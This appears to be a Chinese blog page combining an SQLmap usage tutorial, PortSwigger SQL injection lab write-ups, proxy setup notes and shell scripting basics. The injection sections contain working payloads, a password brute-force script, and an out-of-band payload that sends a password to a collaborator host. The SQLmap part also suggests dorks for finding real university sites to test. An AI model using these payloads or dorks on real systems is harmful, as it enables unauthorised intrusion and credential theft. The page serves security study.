Markdown语法

快捷键汇总

功能快捷键功能快捷键
加粗Ctrl+B插入图像Ctrl+Shift+I
斜体Ctrl+I删除线Alt+Shift+5
下划线Ctrl+U公式块Ctrl+Shift+M
超链接Ctrl+K代码块Ctrl+Shift+K
表格Ctrl+T代码段Ctrl+Shift+`
引用>+空格退出引用Shift+Tab
段落Ctrl+0有序列表Ctrl+Shift+[
标题Ctrl+数字无序列表Ctrl+Shift+]
全选Ctrl+A选中行/句Ctrl+L
选中段落Ctrl+E选中当前词Ctrl+D
跳转所选Ctrl+J跳转文首/末Ctrl+Home/End
源代码模式Ctrl+/
阅读全文 »

所有命令

image-20250316160541099

SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。

在这里插入图片描述

本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标,其他目标可使用必应搜索以下类型的网站:

1
2
3
inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn

在这里插入图片描述

快速入门

SQLmap(常规)使用步骤

1、检测「注入点」

1
sqlmap -u 'http://xx/?id=1'

2、查看所有「数据库」

1
sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

4、查看「数据表」

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看「字段」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

检测目标

检测「注入点」前,需要指定需要检测的「对象」。

指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

1
sqlmap -u 'http://xx/?id=1'

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

image-20250316162233436

指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

-m 指定文件,可以「批量扫描」文件中的url,需要确认就按y。

1
sqlmap -m urls.txt

指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

1
sqlmap -r bp.txt

cookie注入

--cookie 指定cookie的值,单/双引号包裹。

1
sqlmap -u "http://xx?id=x" --cookie 'cookie'

WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

1
sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

image-20250316163642927

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。

其他

--batch (默认确认)不再询问是否确认。

--level 1 执行测试的等级(1-5,默认为1,常用3)

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

--level 1 执行测试的等级(1-5,默认为1,常用3)

脱库

获取所有内容

1
sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

获取数据库

--dbs 获取数据库

1、获取数据库版本

1
sqlmap -u 'http://xx/?id=1' -b

2、获取当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

3、获取所有数据库

1
sqlmap -u 'http://xx/?id=1' --dbs

获取表

--tables 获取表

1、获取表,可以指定数据库

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

2、同时获取多个库的表名,库名用逗号分隔。

1
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

3、不指定数据库,默认获取每个数据库中所有的表。

1
sqlmap -u 'http://xx/?id=1' --tables

获取字段

--columns 参数用来获取字段。

1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

2、不指定表名,默认获取当前数据库中所有表的字段。

1
sqlmap -u 'http://xx/?id=1' --columns

获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中每个表所有字段的类型。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --schema

获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

获取指定库中所有表的数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --dump

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

获取用户

1、获取当前登录数据库的用户

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user

2、获取所有用户

--users 获取数据库的所有用户名。

1
sqlmap -u 'http://xx/?id=1' --users

3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

1
sqlmap -u 'http://xx/?id=1' --passwords

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。最后面显示数据库用户名对应的密码的哈希值。

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

1
sqlmap -u 'http://xx/?id=1' --privileges

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

1
sqlmap -u 'http://xx/?id=1' --is-dba

如果是管理员,就在最后面显示 true。

获取主机名

--hostname 获取服务器主机名。

1
sqlmap -u 'http://xx/?id=1' --hostname

搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

1
sqlmap -u 'http://xx/?id=1' -D 'security' --search

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

image-20250316163205508

也可以搜索表

1
sqlmap -u 'http://xxx/?id=1' -T 'users' --search

或者搜索字段

1
sqlmap -u 'http://xx/?id=1' -C 'username' --search

正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

1
sqlmap -u 'http://xx/?id=1' --statements 

本文参考:

SQLmap使用教程图文教程(超详细)

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

这个是查看隐藏数据的漏洞,比较简单。通过BurpSuite直接拦截修改就行。

image-20250305143611182

之所以能隐藏信息是因为后端的查询语句是

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

因此通过我们的修改注释掉了AND released = 1

思考

首先对后端查询语句要有一定敏感程度,另外如果AND后的语句在前是否就避免了这个漏洞呢?

SQL injection vulnerability allowing login bypass

这个也非常简单,注释掉password就可以登录任意用户了。

image-20250305144942049

思考

对之前挖的几个平台做了一下尝试,没出意外都失败了。果然这么简单的洞不太好遇见。

SQL injection UNION attack, determining the number of columns returned by the query

这个使用?category=Accessones' order by 3--时不报错,使用?category=Accessones' order by 4--时报错,说明返回列有三个。但是不能直接过关,需要使用'?category=Accessones'UNION SELECT NULL,NULL,NULL--过关

image-20250305153505747

我们可以看到,虽然执行order by 4的时候报错,但是报错代码为500说明还是执行了的。在portswigger中提到:

​ As with the ORDER BY technique, the application might actually return the database error in its HTTP response, but may return a generic error or simply return no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the HTTP response depends on the application’s code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException. In the worst case, the response might look the same as a response caused by an incorrect number of nulls. This would make this method ineffective.

因此报错语句可以作为是否存在UNION漏洞的参考

在 Oracle 中,每个 SELECT 查询都必须使用 FROM 关键字,并指定一个有效的表。Oracle 上有一个名为 dual 的内置表,可用于此目的。因此,在 Oracle 上注入的查询必须如下所示:

1
' UNION SELECT NULL FROM DUAL--

MySQL 中,--后必须跟一个空格。

有关数据库特定语法的更多详情,请参阅 SQL injection cheat sheet

SQL injection UNION attack, finding a column containing text

让找哪个列支持查找字符串,找出一共多少列以后,挨个试试就可以了

1
'+UNION+SELECT+'abcdef',NULL,NULL--
1
2
3
4
5
?category=Accessories' union select null,'Y5LIpq',null--+
或者
?category=Accessories%' union select null,'Y5LIpq',null--+
或者
?category=Accessories' and 1=2 union select null,'Y5LIpq',null--+

SQL injection UNION attack, retrieving data from other tables

让检索出管理员账号密码,然后登陆管理员的账号。这道题的重点是当遇到两个能检索出字符串的列时,如何利用。

1
' UNION SELECT username, password FROM users--

SQL injection UNION attack, retrieving multiple values in a single column

当只有一个string列可以被检索时,需要将两个列的内容连接到一个列。

这一题稍微有了一点点难度:

  1. 首先通过之前的办法看看有几个可以检索的列

  2. 然后检测哪一个列可以检索字符串

  3. 最后合并检索用户名和密码

通过检测,可以检索的列有两个,第二个可以检索字符串。将用户名和密码合并到第二列中即可,注入代码:

1
'union+select+null,username||'~~~'||password+from+users--

不同的数据库使用不同的语法来执行字符串连接。有关详细信息,请参阅SQL injection cheat sheet

然而在实际情况下,我们并不能像题目所给出的那样直接获得表名和列名。因此,现实中,我们需要首先获得数据库的表名和列名,才能对其进行查询。

1
2
3
4
5
6
7
8
9
?category=Gifts' union select null,table_name from information_schema.tables--+

列:username,password
?category=Gifts' union select null,column_name from information_schema.columns where table_name='users'--+

数据:administrator===lcv555mv2prf2m81w40v
?category=Gifts' union select null,concat(username,'===',password) from users--+

利用administrator登录

SQL injection attack, querying the database type and version on MySQL and Microsoft

获得数据库的版本号,比较简单。各个数据库查询数据库版本的语句如下:

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

查询SQL版本的语句:

1
'union+select+null,@@version-- +

思考:

发现了一个问题,在执行SQL注入时,使用--进行注释时需要在其后添加一个空格,即-- +。然而刚开始并没有加但是还是过了,因此需要注意。另外这一题是可以使用#来注释的,但是前面的却不行,原因目前还不明白。

SQL injection attack, listing the database contents on non-Oracle databases

这一题题目没有给表单和列名,更切合实际情况,实际上跟上面的是一致的。不再过多叙述。

1
2
3
4
'union select 'a',null-- =
'union select table_name,null from information_schema.tables-- =
'union select column_name,null from information_schema.columns where table_name='users_vorbge'
'union select username_ucmiyr||'~~~'||password_unmsjv,null from users_vorbge-- =

Blind SQL injection with conditional responses

这道题吧,我个人感觉算是一道很不错的题了,对目前的我来讲已经算是很有难度了。但是同时,我也发现如果我不能缜密的去思考现实情况里会遇到的问题,靶场给我带来的收获也是有限的。因此我也决定打完SQL注入的靶场以后,先找一些SQL注入漏洞的案例复现一下,感受一下真是的场景。

在开始这道题之前呢,有必要了解一下,要解决这道题是有三个必要条件的:

  1. 正确和错误的cookie的返回包存在差异

起初我是很困惑我要多么小心翼翼才能发现Welcome back!这一句话的小小差异。然后我就恍然大悟了,我们直接对比response包的大小,如果不一样再找出哪儿不一样就可以了。

  1. cookie允许盲注

即在cookie后添加'AND '1'='1和添加'AND '1'='2返回的结果是不同的

  1. 我们要查询的表名和列名

虽然题目直接给了我们表名和列名,当我们都知道,实际情况中并不会有公司摆着洞给我们挖。因此有没有办法通过盲注获得我们需要的表名和列名呢?那当然是有的。

我们要知道,盲注语句是否执行成功我们是可以知道的。那么,是否存在一个表单或者列名,我们也是可以了解的。因此,我们依然可以通过盲注的方式获得表名和列名。

所以是可以使用Python写脚本爆破的,当然也可以用sqlmap工具,非常简便。

我打算再写一篇sqlmap的用法总结,先这里插个眼

1
2
3
4
5
6
7
8
9
10
1.首先进行sql漏洞扫描
sqlmap -u url --cookie "TrackingId=xxx"
2.然后获得当前使用的数据库名称
sqlmap -u url --current-db
3.获得所有表
sqlmap -u url -D "数据库名" --tables
4.获得users表字段
sqlmap -u url -D "数据库名" -T "users" --dump
5.获得users表中的用户名
sqlmap -u url -D "数据库名" -T "users" -C "username" --dump

在获得某用户密码的时候,本题只需要我们获得administrator的密码就可以了,考虑到密码又多又长,逐个爆破会消耗大量的时间,因此我编写了Python脚本单独对administrator用户进行爆破,脚本已经很自动化了,只需要把url和TrackingId换成子自己的就可以了。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from time import sleep
import requests

# 请求的URL
url = "https://0a00000a04a6557481de208a005400a1.web-security-academy.net/filter?category=Pets"
username = 'administrator'
tablename = 'users'
method = 'get'
sleep_time = 0
TrackingId = 'brVO8ubeFsIHT9hw'

#cookie获取密码长度get_password_length_by_user
def get_password_length_by_user(url,username,tablename,intject_id):
for i in range(100):
cookies = {
'TrackingId': f"{intject_id}' and (select 'a' from users where username='{username}' AND LENGTH(password)>{i})='a' --+"
}
response = requests.request(url=url,method=method,cookies=cookies)
sleep(sleep_time)
if 'Welcome back!' in response.text:
continue
else:
password_length=i
return password_length
break

#爆破某一用户名密码
def get_password_by_user(url,username,tablename,inject_id):
result=''
password_length=get_password_length_by_user(url,username,tablename,inject_id)
for password_index in range(1, password_length+1):
ascii_low = 32
ascii_high = 128
ascii_mid=(ascii_low+ascii_high)//2
while ascii_low < ascii_high:
cookies = {
'TrackingId': f"{inject_id}' and ascii(substr((select password from {tablename} where username='{username}'),{password_index},1)) > {ascii_mid}--+;"
}
response = requests.request(url=url,method=method,cookies=cookies)
sleep(sleep_time)
if 'Welcome back!' in response.text:
ascii_low=ascii_mid+1
else:
ascii_high = ascii_mid
ascii_mid=(ascii_low+ascii_high)//2
result+=chr(ascii_mid)
return result
password=get_password_by_user( url,username,tablename,TrackingId)
print(password)

其实,本题在爆破数据表时,也可以使用Python单独对表名中含有user的表进行爆破,但考虑实际情况,把所有的表名爆破出,容易获得更多的信息

Blind SQL injection with conditional errors

跟上一题是非常类似的。讲一下原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1、添加单引号收到错误
TrackingId=xyz'
2、添加两个单引号错误消失
TrackingId=xyz''
3、确认是查询错误而不是其他类型错误。下列语句表明目标为Oracle 数据库
TrackingId=xyz'||(SELECT '')||'(错误)
TrackingId=xyz'||(SELECT '' FROM dual)||'(正确)
4、验证users表存在
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
5、验证用户administrator存在
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
6、爆破密码长度
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>§a§ THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
7、爆破密码
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§b§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

结果如下:

image-20250316173050195

Visible error-based SQL injection

错误会返回到客户端

image-20250316181656140

1
2
3
4
5
6
7
8
9
10
11
12
1、天加一个引号,可以在web页面看到报错,并看到自己的cookie
TrackingId=xxx'
2、添加注释符不再报错
TrackingId=xxx'--
3、添加错误的语句观察返回内容
TrackingId=xxx' AND CAST((SELECT 1) AS int)--
4、使用正确语句错误消失
TrackingId=xxx' AND 1=CAST((SELECT 1) AS int)--
5、泄露用户
TrackingId=xxxx' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
6、泄露密码
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

我试了下面这个注入语句,但是没有得到想要的结果。

1
TrackingId=' AND 1=CAST((SELECT password FROM users where username='administrator') AS int)--

image-20250316184013533

Blind SQL injection with time delays and information retrieval

1
2
3
4
5
6
7
8
9
10
1.延迟10
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
2.不延时
TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
3.延时,说明有administrator用户
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
4.延时,说明密码长度为20
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
5.bp爆破
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§b§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Blind SQL injection with out-of-band interaction

image-20250320124609391

k8tddk5vl36mmu8y9zj46y1zdqjk7ev3.oastify.com

1
Cookie: TrackingId=Mf3GZbtHdrUPYCyR'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//k8tddk5vl36mmu8y9zj46y1zdqjk7ev3.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--; session=7HQmzle2kv8m9yAyiZADwZ8B64e6hGQp

image-20250320124746996

Blind SQL injection with out-of-band data exfiltration

跟上边类似的

1
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

image-20250320142450030

本文参考:

带空格的标题

带空格的标题需要用双引号“标 题”引起来,不然文件和标题的命名会发生错误。

image-20250305142442398

本文参考:

mihomo

阿里云服务器每次访问外网都超时,之前安装工具都是先下载到本地再上传到服务器。前些天复现漏洞下个镜像拖来拖去的,实在是忍无可忍了。网上看了各种文章,尝试了各种方法,最后使用了mihomo代理成功访问外网。

mihomo安装

  1. mihomo下载,github地址:https://github.com/MetaCubeX/mihomo

1
2
3
4
1. 因为没法访问外网,要先下载到本地,再传到服务器。
2. gzip -d mihomo.gz #解压缩
3. mv mihomo /usr/local/bin/mihomo
4. sudo chmod -x /usr/local/bin/mihomo #设置可执行权限

经过上述步骤以后,要在为mihomo添加配置文件config.yaml和Country.mmdb。Country.mmdb我是在在github上找的。

2.创建 systemd 配置文件 /etc/systemd/system/mihomo.service,并添加如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[Unit]
Description=mihomo Daemon, Another Clash Kernel.
After=network.target NetworkManager.service systemd-networkd.service iwd.service

[Service]
Type=simple
LimitNPROC=500
LimitNOFILE=1000000
CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_RAW CAP_NET_BIND_SERVICE CAP_SYS_TIME CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_DAC_OVERRIDE
AmbientCapabilities=CAP_NET_ADMIN CAP_NET_RAW CAP_NET_BIND_SERVICE CAP_SYS_TIME CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_DAC_OVERRIDE
Restart=always
ExecStartPre=/usr/bin/sleep 1s
ExecStart=/usr/local/bin/mihomo -d /etc/mihomo
ExecReload=/bin/kill -HUP $MAINPID

[Install]
WantedBy=multi-user.target
  1. 重启systemd

1
systemctl daemon-reload
  1. 启用 mihomo 服务:

1
4. systemctl enable mihomo

mihomo使用

1
2
3
4
5
6
7
8
9
10
11
12
1. 启用 mihomo 服务:
systemctl enable mihomo
2. 立即启动 mihomo:
systemctl start mihomo
3. 重新加载mihomo
systemctl reload mihomo
4. 检查 mihomo 的运行状况
systemctl status mihomo
5. 检查 mihomo 的运行日志
journalctl -u mihomo -o cat -e

journalctl -u mihomo -o cat -f

为Linux设置代理

临时启用和关闭代理

在使用Linux时,临时启用代理的命令:

1
2
export http_proxy=http://ip:port
export https_proxy=htpp://ip:port

ip和port为你的代理服务器的ip以及开放的端口。

取消代理:

1
2
unset http_proxy
unset https_proxy

永久全局代理

永久全局代理将临时启用代理的命令添加至系统配置文件中,source刷新shell环境即可。

1
2
3
4
5
6
vim /etc/profile
……
export http_proxy=http://j262.kdltps.com:15818
export https_proxy=https://j262.kdltps.com:15818
……
source /etc/profile

设置代理的基本语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
`环境变量
http_proxy:为http变量设置代理;默认不填开头以http协议传输
# 示例
`以下是常见的基本语法
http_proxy=ip:prot
http_proxy=http://ip:prot
http_proxy=socks4://ip:prot
http_proxy=socks5://ip:prot

`如果不想设置白名单,也可以使用用户名和密码进行验证
http_proxy=http://username:password@ip:prot
http_proxy=http://username:password@ip:prot

https_proxy:为https设置代理
ftp_proxy:为ftp设置代理
all_proxy:全部变量设置代理,设置了这个的时候上面不需要设置
no_proxy:无需代理的主机或域名;可以使用通配符,多个时使用","号分隔
# 示例:
*.aiezu.com,10.*.*.*,192.168.*.*
*.local,localhost,127.0.0.1

docker使用网络代理

gitbook上有一篇docker的详解:Docker — 从入门到实践

  • 为 dockerd 创建配置文件夹。

1
sudo mkdir -p /etc/systemd/system/docker.service.d
  • 为 dockerd 创建 HTTP/HTTPS 网络代理的配置文件,文件路径是 /etc/systemd/system/docker.service.d/http-proxy.conf 。并在该文件中添加相关环境变量。

1
2
3
4
[Service]
Environment="HTTP_PROXY=http://proxy.example.com:8080/"
Environment="HTTPS_PROXY=http://proxy.example.com:8080/"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"
  • 刷新配置并重启 docker 服务。

1
2
sudo systemctl daemon-reload
sudo systemctl restart docker

遇到的问题:

  1. 网上说mihomo的配置文件和clash是一样的,因此要把订阅链接转换成clash的订阅链接,可是我转换后并不能成功使用。经过进一步的了解得知mihomo是clash meta的更新,随后转成meta链接成功(在订阅链接后加&flag=meta)。

  2. 为docker更换源、使用阿里加速器。然而尝试了各种源均没有什么卵用,只有个别镜像拉取成功,并且就算docker配置成功了,我还是没办法直接下载github的资源。

  3. 使用clash代理,然而我花好久终于要整好的时候,clash并不支持我的配置文件中type: hysteria2,也就是不支持hysteria2协议。一时间手足无措,最后在一篇文章里看到mihomo支持,最后配置成功。

本文参考:

Docker — 从入门到实践

shell编程

这里说的Shell 脚本(shell script),是在Linux 环境下运行的脚本程序

Shell 编程跟 JavaScript、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。

Linux 的 Shell 种类众多,常见的有:

  • Bourne Shell(/usr/bin/sh或/bin/sh)

  • Bourne Again Shell(/bin/bash)

  • C Shell(/usr/bin/csh)

  • K Shell(/usr/bin/ksh)

  • Shell for Root(/sbin/sh)

  • ……

Bash是大多数Linux 系统默认的 Shell,本文也仅关注Bash Shell。

在一般情况下,并不区分 Bourne Shell 和 Bourne Again Shell,所以,像 #!/bin/sh,它同样也可以改为 #!/bin/bash

#! 告诉系统其后路径所指定的程序即是解释此脚本文件的 Shell 程序。

入门

运行Shell脚本

编写shell脚本:

1
2
3
4
vi test.sh

#!/bin/bash
echo "Hello World !"

#! 是一个约定的标记,它告诉系统这个脚本需要什么解释器来执行,即使用哪一种 Shell。

echo 命令用于向窗口输出文本。

运行 Shell 脚本有两种方法:

1、作为可执行程序

1
2
chmod +x ./test.sh  #使脚本具有执行权限
./test.sh #执行脚本

默认情况下,一定要写成 ./test.sh,而不是 test.sh,运行其它二进制的程序也一样。

除非将当前目录.加入到PATH环境变量中,配置方法:

1
2
3
4
5
sudo vi /etc/profile
加入一行
export PATH=$PATH:.
保存之后,执行
source /etc/profile

2、作为解释器参数

直接运行解释器,其参数就是 shell 脚本的文件名:

1
/bin/sh test.sh

这种方式运行的脚本,不需要在第一行指定解释器信息,写了也没用。

编写一个快捷创建shell脚本的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
if test -z $1;then
newfile="./script_`date +%m%d_%s`"
else
newfile=$1
fi
echo $newfile
if ! grep "^#!" $newfile &>/dev/null; then
cat >> $newfile << EOF
#!/bin/bash
# Author:
# Date & Time: `date +"%F %T"`
#Description:
EOF
fi
vim +5 $newfile
chmod +x $newfile

将以上内容编写好之后保存为shell文件,然后执行

1
2
chmod u+x shell
sudo mv shell /usr/bin/

echo命令

Shell 的 echo 指令与 PHP 的 echo 指令类似,都是用于字符串的输出。命令格式:

1
echo string

显示普通字符串:

1
echo "It is a test"

这里的双引号完全可以省略,以下命令与上面实例效果一致:

1
echo It is a test

显示转义字符:

1
echo "\"It is a test\""

结果将是:

1
"It is a test"

同样,双引号也可以省略

read 命令从标准输入中读取一行,并把输入行的每个字段的值指定给 shell 变量

1
2
3
#!/bin/sh
read name
echo "$name It is a test"

以上代码保存为 test.sh,name 接收标准输入的变量,结果将是:

1
2
3
[root@www ~]# sh test.sh
OK #标准输入
OK It is a test #输出
显示换行
1
2
echo -e "OK! \n" # -e 开启转义
echo "It is a test"

输出结果:

1
2
OK!
It is a test
显示不换行
1
2
3
#!/bin/sh
echo -e "OK! \c" # -e 开启转义 \c 不换行
echo "It is a test"

输出结果:

1
OK! It is a test

printf 命令

printf 命令的语法:

1
printf  format-string  [arguments...]

参数说明:

  • format-string: 为格式控制字符串

  • arguments: 为参数列表。

实例如下:

1
2
3
4
5
6
#!/bin/bash

printf "%-10s %-8s %-4s\n" 姓名 性别 体重kg
printf "%-10s %-8s %-4.2f\n" 郭靖 男 66.1234
printf "%-10s %-8s %-4.2f\n" 杨过 男 48.6543
printf "%-10s %-8s %-4.2f\n" 郭芙 女 47.9876

执行脚本,输出结果如下所示:

1
2
3
4
姓名     性别   体重kg
郭靖 男 66.12
杨过 男 48.65
郭芙 女 47.99
  • %s %c %d %f都是格式替代符

  • %-10s 指一个宽度为10个字符(-表示左对齐,没有则表示右对齐),任何字符都会被显示在10个字符宽的字符内,如果不足则自动以空格填充,超过也会将内容全部显示出来。

  • %-4.2f 指格式化为小数,其中.2指保留2位小数。

printf的转义序列:

序列说明
\a警告字符,通常为ASCII的BEL字符
\b后退
\c抑制(不显示)输出结果中任何结尾的换行字符(只在%b格式指示符控制下的参数字符串中有效),而且,任何留在参数里的字符、任何接下来的参数以及任何留在格式字符串中的字符,都被忽略
\f换页(formfeed)
\n换行
\r回车(Carriage return)
\t水平制表符
\v垂直制表符
\一个字面上的反斜杠字符
\ddd表示1到3位数八进制值的字符。仅在格式字符串中有效
\0ddd表示1到3位的八进制值字符

例子:

1
2
3
4
5
6
7
python@ubuntu:~/test$ printf "a string, no processing:<%s>\n" "A\nB"
a string, no processing:<A\nB>
python@ubuntu:~/test$ printf "a string, no processing:<%b>\n" "A\nB"
a string, no processing:<A
B>
python@ubuntu:~/test$ printf "www.runoob.com \a"
www.runoob.com python@ubuntu:~/test$

Shell 注释

# 开头的行就是注释,会被解释器忽略:

1
2
3
4
5
6
7
8
9
10
11
12
13
#--------------------------------------------
# 这是一个注释
# author:菜鸟教程
# site:www.taobao.com
# slogan:学的不仅是技术,更是梦想!
#--------------------------------------------
##### 用户配置区 开始 #####
#
#
# 这里可以添加脚本描述信息
#
#
##### 用户配置区 结束 #####

多行注释还可以使用以下格式:

1
2
3
4
5
:<<EOF
注释内容...
注释内容...
注释内容...
EOF

EOF 也可以使用其他符号:

1
2
3
4
5
6
7
8
9
10
11
:<<'
注释内容...
注释内容...
注释内容...
'

:<<!
注释内容...
注释内容...
注释内容...
!

Shell变量

定义变量

1
your_name="taobao.com"

变量名的命名须遵循如下规则:

  • 命名只能使用英文字母,数字和下划线,首个字符不能以数字开头。

  • 中间不能有空格,可以使用下划线(_)。

  • 不能使用标点符号。

  • 不能使用bash里的关键字(可用help命令查看保留关键字)。

使用变量

在变量名前面加美元符号即可,如:

1
2
3
your_name="qinjx"
echo $your_name
echo ${your_name}

加花括号可以帮助解释器识别变量的边界,比如:

1
2
3
for skill in Ada Coffe Action Java; do
echo "I am good at ${skill}Script"
done

只读变量

使用 readonly 命令可以将变量定义为只读变量,只读变量的值不能被改变。

下面的例子尝试更改只读变量,结果报错:

1
2
3
4
python@ubuntu:~/shell$ myUrl="http://www.google.com"
python@ubuntu:~/shell$ readonly myUrl
python@ubuntu:~/shell$ myUrl="http://www.baidu.com"
-bash: myUrl: 只读变量

删除变量

使用 unset 命令可以删除变量,但不能删除只读变量:

1
2
3
4
#!/bin/sh
myUrl="http://www.baidu.com"
unset myUrl
echo $myUrl

变量类型

运行shell时,会同时存在三种变量:

  • 1) 局部变量 局部变量在脚本或命令中定义,仅在当前shell实例中有效,其他shell启动的程序不能访问局部变量。

  • 2) 环境变量 所有的程序,包括shell启动的程序,都能访问环境变量,有些程序需要环境变量来保证其正常运行。必要的时候shell脚本也可以定义环境变量。

  • 3) shell变量 shell变量是由shell程序设置的特殊变量。shell变量中有一部分是环境变量,有一部分是局部变量,这些变量保证了shell的正常运行

Shell 函数

shell中函数的定义格式如下:

1
2
3
4
5
[ function ] funname [()]
{
action;
[return int;]
}

说明:

  • 1、可以带function fun() 定义,也可以直接fun() 定义,不带任何参数。

  • 2、参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果,作为返回值。 return后跟数值n(0-255)

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

funWithReturn(){
echo "这个函数会对输入的两个数字进行相加运算..."
echo "输入第一个数字: "
read aNum
echo "输入第二个数字: "
read anotherNum
echo "两个数字分别为 $aNum$anotherNum !"
return $(($aNum+$anotherNum))
}
